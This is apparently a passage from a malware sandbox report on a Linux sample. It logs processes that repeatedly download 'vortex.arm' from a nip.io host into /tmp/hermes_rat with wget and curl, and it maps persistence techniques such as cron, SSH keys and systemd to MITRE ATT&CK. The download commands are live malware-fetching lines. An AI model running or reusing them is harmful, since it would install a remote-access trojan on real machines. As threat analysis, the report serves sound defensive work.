- /usr/bin/wget
  wget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/vortex.arm -O /tmp/hermes_rat
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1032
- /bin/sleep
  sleep 2
  2⤵
  PID:1033
- /usr/bin/curl
  curl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/vortex.arm -o /tmp/hermes_rat
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  PID:1034
- /usr/bin/wget
  wget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/vortex.arm -O /tmp/hermes_rat
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1036
- /bin/sleep
  sleep 2
  2⤵
  PID:1037
- /usr/bin/curl
  curl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/vortex.arm -o /tmp/hermes_rat
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  PID:1038
- /usr/bin/wget
  wget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/vortex.arm -O /tmp/hermes_rat
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1040
- /bin/sleep
  sleep 2
  2⤵
  PID:1041
- /bin/rm
  rm -f /tmp/41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
  2⤵
  PID:1045

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

Persistence

Account Manipulation

T1098

SSH Authorized Keys

T1098.004

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

Scheduled Task/Job

T1053

Cron

Privilege Escalation

Account Manipulation

T1098

SSH Authorized Keys

T1098.004

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

Scheduled Task/Job

T1053

Cron

Defense Evasion

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable